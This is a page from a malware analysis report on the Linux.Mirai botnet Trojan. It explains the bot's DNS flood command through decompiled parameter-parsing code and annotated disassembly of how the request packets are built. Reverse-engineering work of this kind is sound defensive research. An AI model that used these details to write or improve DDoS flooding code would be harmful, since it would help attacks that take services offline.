Investigation of Linux.Mirai Trojan family

34
34
cmd2 – DNS flood
This command uses parameters similar to the previous ones; however, in this case, the value transaction_id
and the domain name that needs to be requested are added for the DNS packet:
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);
A packet containing 100 domain requests is generated and sent to the specified address. The Recursion
desired flag is set:
.text:0804A4D3 mov [ecx+dnsheader.flags], 1 ; Do request
reqursively
.text:0804A4D9 mov [ecx+dnsheader.qdcount], 100h ;
One Request
.text:0804A4DF mov [edx+ipudp_2.queries], al ; size
of random generated
.text:0804A4E2 mov ecx, [esp+6Ch+random_data_length]
.text:0804A4E6 push eax
.text:0804A4E7 mov eax, [esp+70h+length_of_domain]
.text:0804A4EB push eax ; a3
.text:0804A4EC lea ebx, [edx+ecx+(ipudp_2.queries
+1)]
.text:0804A4F0 mov eax, [esp+74h+domain_query]
.text:0804A4F4 push eax ; a2
.text:0804A4F5 lea eax, [ebx+1]
.text:0804A4F8 push eax ; a1
.text:0804A4F9 call strncpy
.text:0804A4FE add esp, 10h
.text:0804A501 mov esi, [esp+6Ch+length_of_str]
.text:0804A505 test esi, esi
.text:0804A507 jle loc_804A71E
.text:0804A50D mov edx, ebx